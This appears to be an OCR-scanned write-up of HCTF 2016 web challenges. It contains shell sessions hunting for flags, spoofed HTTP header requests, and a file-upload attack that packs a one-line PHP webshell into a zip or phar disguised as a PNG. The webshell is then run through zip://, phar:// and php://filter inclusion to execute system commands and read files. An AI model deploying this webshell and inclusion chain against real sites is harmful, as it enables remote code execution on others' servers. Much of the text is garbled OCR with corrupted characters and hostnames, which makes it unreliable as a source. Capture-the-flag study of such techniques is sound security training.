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function.py

secrect

<ng/welcome/secret/important_secret/very_important$ cd se

cd secrect

bash: cd: secrect: Not a directory
<ng/welcome/secret/important_secret/very_important$ cat se

cat secrect

Congratulations on your being cheated.<ng/welcome/secret/important_secret/very_important$ 1s
s

function.py

secrect

<ng/welcome/secret/important_secret/very_important$ cd ..

6 oo

<valtest/something/welcome/secret/important_secret$ cd ..

6 oo

www@cola: /home/wwwroot/default/evaltest/something/welcome/secret$ cd not
cd not

</something/welcome/secret$ cd not_important_secret/ SCSO0O0CO0OD0OCOOOOOC
<est/something/welcome/secret/not_important_secret$ 1s

s

trash

<est/something/welcome/secret/not_important_secret$ cd tr

cd trash/

<mething/welcome/secret/not_important_secret/trash$ 1s

s

flag

<mething/welcome/secret/not_important_secret/trash$ cat fl

cat flag
mbZoEMrhAO@WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAhOsZ9qjnziUKkVI@XhAOKIS/0XoYVw5uQDjVvgNA==<mething/
welcome/secret/not_important_secret/trash$ 1s

1s

flag

<mething/welcome/secret/not_important_secret/trash$ exit

exit

exit

] L Fbase64 45 [ mbZoEMrhAOWWeugNjgNw3U6Tt2C+rwpgpbdWRZgFQI3MAh®sZ9qjnziUKkV9OXhAOkIs/0XoYVw5uQD VVgNA==
A —/N % () function.py
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POST / HTTP/1.1

Host: 2099.hctf.io

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone 0S5 99 0
like Mac 08 X) AppleWebKit/534.46 (KHTML, like Gecko)
version/99 Mobile/9a334 Safari/7534.48.3

Accept:

text/html, application/xhtml+xml,application/xml;g=0.9,*/
*:;0=0.8

UA-05: ios99

Date: Fri, 25 Nov 2099 12:31:48 GMT

Accept-Language: zh-CN,zh;g=0.8,en-U8;gq=0.5,en;g=0.3
Accept-Encoding: gzip,deflate,sdch

Content-Type: application/x-www-form-urlencoded
Connection: close

Upgrade-Insecure-Requests: 0

Content-Length: 9

hint=2099
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Request

j Raw I Headers I Hex ]

T

HTTP/1.1 200 OK

Date: Fri, 25 Nov 2016 13:05:20 GMT
Server: Apache/2.4.10 (Debian)

flag: hctf{h77p HeddEr 50 Edsy}

vary: Accept-Encoding

Content-Length: 294

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
<head>
<meta
charset="utf-8"></meta>
<title>Welcome to
HCTF201i6</title>
</head>
<body>
<div align="center" >
<p>
<li>only
ios99 can get flag(Maybe you can easily get
the flag in 2099 </li>

</p>

<!-- flag not in html... -->

{7 HK A2 H get/post/put/delete R SR S RAE T ERAERT,  urlfEunE— [ BTN —Fhwe b 444 o

Response
j Raw I Headers I Hex ]

PUT /index.php/money/12864 HTTP/1.1

Host: jinja.hctf.io

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 03 X
10.11; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: */%

Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://jinja.hctf.io/

Connection: close

e

HTTP/1.1 200 OK

Date: Fri, 25 Nov 2016 13:42:05 GMT
Server: Apache/2.4.10 (Debian)
Access-Control-Allow-Orgin: *
Access-Control-Allow-Methods: *
Content-Length: 64

Connection: close

Content-Type: application/json

{"message":"\"Your flag is
hetf{Do_you know 124507} web dog!\""}

e
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¥ Jes php://Filter
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e upload.php
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(!is_uploaded_file( D)

= create_imagekey();
move_uploaded file( ,

AR phar:// 5 zip:// WAV IR RER A B Zp 45 SCAF . Il Zipfis, wT LIRS

o GE—Aphpf, WA <?php $_GET['paraml']($_GET['param2']); ?>
e zip shell.zip shell.php Kiphp {4t/ E4s.
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GET A </div>

/home.php?fp=zip://uploads/2bfb7df7edalldl9d0c588ab00650e

c5025bc3a7.png%23shell&paraml=system&param2=pwd <div

HTTP/1.1 class="jumbotron">

Host: pics.hcotf.io

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X <hl>Pictures Storage</hl>

10.11; rv:49.0) Gecko/20100101 Firefox/49.0 <p

Accept: class="lead">iXE HEERIES , BIVERBRTE</

text/html,application/xhtml+xml,application/xml;q=0.9,*/ >

*:q=0.8 <form

Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3 action="?fp=upload" method="POST" id="form"

Accept-Encoding: gzip, deflate enctype="multipart/form-data">

Referer: http://pics.hctf.io/home.php?fp=upload

Cookie: PHPSESSID=leelq78cuéardggdodlépgbpvy <input type="file" id="image" name="image"

Connection: close class="btn btn-lg btn-success"

Upgrade-Insecure-Requests: 1 style="margin-left: auto; margin-right:
auto; ">




<input type="submit" id="submit"
name="submit" class="btn btn-1lg
btn-success" role="button" value="HEER">
</form>
</div>
</div>
</body>
</html>
/var/www/html

W phar:// ¥4, FTLAphpH)SCAEAN < <2php print_r( scandir('/var/www/')) ?> J:IE46 NzipCrF.
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GET

/home .php?fp=phar://uploads/1bfff0bldb938b9d886cf04
4327daf2abcf49a3b.png/phar HTTP/1.1

Host: pics.hetf.io

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.11; rv:49.0) Gecko/20100101 Firefox/49.0

Accept:
text/html,application/xhtml+xml,application/xml;qg=0
.9,%/%;q=0.8

Accept-Language:
zh-CN,zh;g=0.8,en-Us;g=0.5,en;qg=0.3
Accept-Encoding: gzip, deflate

Referer: http://pics.hctf.io/home.php?fp=upload
Cookie: PHPSESSID=leelg78cubar9ggdo9lépgbpvy
Connection: close

Upgrade-Insecure-Reqguests: 1

e I%J5 http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=/var/www/Thls_1s_F1a9

kA3 £lflag

<hl>Pictures
Storage</hl>

<p
class="lead">TEIXE LEEMNER  EKMNBREREF</p>

<form

action="?fp=upload" method="POST" id="form"
enctype="nultipart/form-data">

<input
type="file" id="image" name="image" class="btn
btn-1g btn-success" style="margin-left: auto;
margin-right: auto;">

<br>

<input
type="submit" id="submit" name="submit"
class="btn btn-lg btn-success" role="button"

value="_FEEK ">

</form>
</div>
</div>
</body>
</html>
Array
(
[0] => .
[1] => ..
[2] => Thls_1s Fla9.php
[3] => html
)
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